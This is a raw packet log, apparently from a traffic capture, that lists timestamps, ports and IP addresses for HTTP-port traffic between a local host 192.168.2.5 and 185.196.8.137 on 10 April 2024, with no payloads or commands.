Apr 10, 2024 10:24:08.047405958 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.047415972 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.047429085 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.047430038 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.047457933 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.047470093 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.047475100 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.047482967 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.047497034 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.047507048 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.047513008 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.047521114 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.047532082 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.047553062 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.047564983 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.047576904 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.047585964 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.047591925 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.047604084 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.047610044 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.047616005 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.047631025 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.047632933 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.047643900 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.047651052 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.047676086 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.047684908 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.047692060 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.047703028 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.047719955 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.047727108 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.047732115 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.047748089 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.047749043 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.047760963 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.047772884 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.047791958 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.047795057 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.047808886 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.047820091 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.047832012 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.047837973 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.047846079 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.047858000 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.047868967 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.047874928 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.047903061 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.047921896 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.047935009 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.047945976 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.047957897 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.047966957 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.047986984 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.048006058 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.048018932 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.048052073 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.048062086 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.048075914 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.048089027 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.048109055 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.048130989 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.048141956 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.048155069 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.048170090 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.048180103 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.048183918 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.048207045 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.048243046 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.048835993 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.230902910 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.230926991 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.230938911 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.230951071 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.230963945 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.230976105 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.230988026 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.230998993 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.231009960 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.231020927 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.231033087 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.231045961 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.231108904 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.231122971 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.231134892 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.231147051 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.231159925 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.231169939 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.231173038 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.231169939 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.231169939 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.231213093 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.231220007 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.231223106 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.231231928 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.231244087 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.231276035 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.231291056 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.231303930 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.231316090 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.231328011 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.231338024 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.231358051 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.231373072 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.231384039 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.231396914 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.231408119 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.231420040 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.231431007 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.231432915 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.231446981 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.231456995 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.231458902 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.231476068 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.231494904 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.231496096 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.231508017 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.231518984 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.231524944 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.231534958 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.231547117 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.231556892 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.231559038 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.231571913 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.231575012 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.231583118 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.231594086 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.231606007 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.231610060 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.231616974 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.231628895 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.231638908 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.231653929 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.231677055 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.231688976 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.231700897 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.231712103 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.231722116 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.231734037 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.231744051 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.231770992 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.232543945 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.232558012 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.232568026 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.232579947 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.232590914 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.232599974 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.232615948 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.232636929 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.232716084 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.232729912 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.232739925 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.232752085 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.232762098 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.232773066 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.232774019 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.232785940 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.232798100 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.232803106 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.232811928 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.232824087 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.232825994 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.232836962 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.232867956 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.232930899 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.232944965 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.232954979 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.232965946 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.232976913 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.232986927 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.232988119 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.232997894 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.232999086 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.233036041 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.233038902 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.233051062 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.233061075 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.233072042 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.233083010 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.233092070 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.233093023 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.233103037 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.233112097 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.233114958 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.233131886 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.233135939 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.233141899 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.233144999 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.233154058 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.233165026 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.233175993 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.233186960 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.233197927 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.233200073 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.233210087 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.233221054 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.233228922 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.233232021 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.233242989 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.233243942 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.233254910 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.233263016 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.233266115 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.233277082 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.233287096 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.233288050 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.233308077 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.233324051 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.233335972 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.233344078 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.233346939 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.233360052 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.233377934 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.233409882 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.233757973 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.233772039 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.233783007 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.233793974 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.233810902 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.233834028 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.233845949 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.233854055 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.233856916 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.233867884 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.233877897 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.233879089 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.233890057 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.233922005 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.233944893 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.233944893 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.233957052 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.233968019 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.233979940 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.233992100 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.234002113 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.234009027 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.234009027 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.234019995 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.234031916 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.234034061 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.234044075 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.234054089 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.234074116 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.234081030 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.234086990 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.234093904 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.234105110 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.234117031 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.234127998 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.234133959 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.234158993 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.234158993 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.234172106 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.234184027 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.234196901 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.234209061 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.234216928 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.234220028 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.234234095 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.234245062 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.234249115 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.234276056 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.234298944 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.234311104 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.234322071 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.234333038 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.234350920 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.234375000 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.234384060 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.234395981 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.234406948 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.234419107 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.234430075 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.234436035 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.234441042 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.234451056 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.234464884 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.234477043 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.234477997 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.234488010 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.234502077 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.234505892 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.234513044 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.234524012 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.234530926 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.234535933 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.234548092 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.234558105 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.234560013 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.234569073 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.234570980 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.234582901 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.234594107 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.234606028 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.234608889 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.234617949 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.234630108 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.234638929 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.234642029 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.234652996 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.234656096 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.234668970 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.234698057 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.234702110 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.234714985 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.234735966 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.234749079 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.234761000 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.234792948 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.234817028 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.234829903 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.234841108 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.234852076 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.234863997 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.234875917 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.234901905 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.234978914 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.234992027 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.235002041 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.235013008 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.235024929 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.235029936 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.235037088 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.235048056 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.235049009 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.235060930 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.235065937 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.235073090 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.235100985 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.235114098 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.305121899 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.305172920 CEST	49717	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:08.491038084 CEST	80	49717	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:08.491060019 CEST	80	49717	185.196.8.137	192.168.2.5
